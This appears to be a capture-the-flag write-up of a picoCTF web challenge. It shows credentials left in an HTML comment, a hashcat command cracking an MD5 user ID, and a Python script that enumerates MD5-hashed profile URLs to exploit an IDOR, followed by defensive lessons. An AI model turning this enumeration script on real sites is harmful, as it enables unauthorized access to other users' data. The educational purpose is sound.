Overview
We're given a web application with a login page. The goal is to find the flag hidden in another user's profile.
Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, hashlib, hashcat
Step 1 — Finding the Credentials
Looking at the login page HTML source, credentials were hidden in a comment:
<!-- Email: guest@picoctf.org Password: guest -->
Always check the page source — developers sometimes leave credentials in comments!
Step 2 — Logging In and Observing the URL
After logging in with guest@picoctf.org / guest, the app redirected to:
/profile/user/e93028bdc1aacdfb3687181f2031765d
The page showed:
Access level: Guest (ID: 3000). Insufficient privileges to view classified data.
The URL contains an MD5 hash. Let's figure out what it's a hash of.
Step 3 — Cracking the Hash
hashcat -m 0 e93028bdc1aacdfb3687181f2031765d /usr/share/wordlists/rockyou.txt
Result:
e93028bdc1aacdfb3687181f2031765d:3000
The hash is simply MD5 of the user ID (3000). This is a textbook IDOR vulnerability — the app uses a predictable, reversible identifier in the URL.
Step 4 — Exploiting the IDOR
Since my ID is 3000 and the app uses MD5(ID) in the URL, I can access any user's profile by computing their hash. I enumerated nearby IDs:
import requests
import hashlib
url_base = "http://crystal-peak.picoctf.net:<PORT>/profile/user/"
session = requests.Session()
session.post("http://crystal-peak.picoctf.net:58205/login", json={
"email": "guest@picoctf.org",
"password": "guest"
})
for uid in range(3000, 3031):
md5 = hashlib.md5(str(uid).encode()).hexdigest()
resp = session.get(url_base + md5)
print(f"ID {uid} ({md5}): {resp.text[:100]}")
if "picoCTF" in resp.text:
print(f"[+] FLAG FOUND at ID {uid}!")
break
Step 5 — Getting the Flag
One of the nearby IDs returned the flag:
picoCTF{...flag...}
Flag captured!
Vulnerability Summary
1. Credentials in HTML comment — The guest credentials were visible in plain page source, granting immediate account access to anyone who inspected the HTML.
2. IDOR via MD5 user ID — The URL uses MD5(user_id), which is predictable and trivially computable. Any authenticated user can enumerate all profiles.
3. Weak ID hashing — MD5 is not encryption. It's easily cracked with a wordlist or simply recomputed, providing no real access control.
What is IDOR?
Insecure Direct Object Reference (IDOR) is when an application uses user-controllable input to access objects directly without proper authorization checks. It's consistently in the OWASP Top 10 and one of the most common vulnerabilities found in bug bounty programs.
The key issue isn't the hash itself — it's that the server never verifies whether the requesting user is actually authorized to view that profile.
Lessons Learned
- Never use MD5 (or any hash) as an access control mechanism. Hashes are not encryption — they are deterministic and predictable. Anyone who knows the pattern can compute the hash for any ID.
-
Use random UUIDs for profile URLs. A UUID like
f47ac10b-58cc-4372-a567-0e02b2c3d479can't be guessed or enumerated. - Enforce server-side authorization. Always verify the logged-in user has permission to view the requested resource — don't rely on obscurity in the URL.
- Never leave credentials in HTML comments. Strip all debug info and hardcoded secrets before deploying to production.
Top comments (0)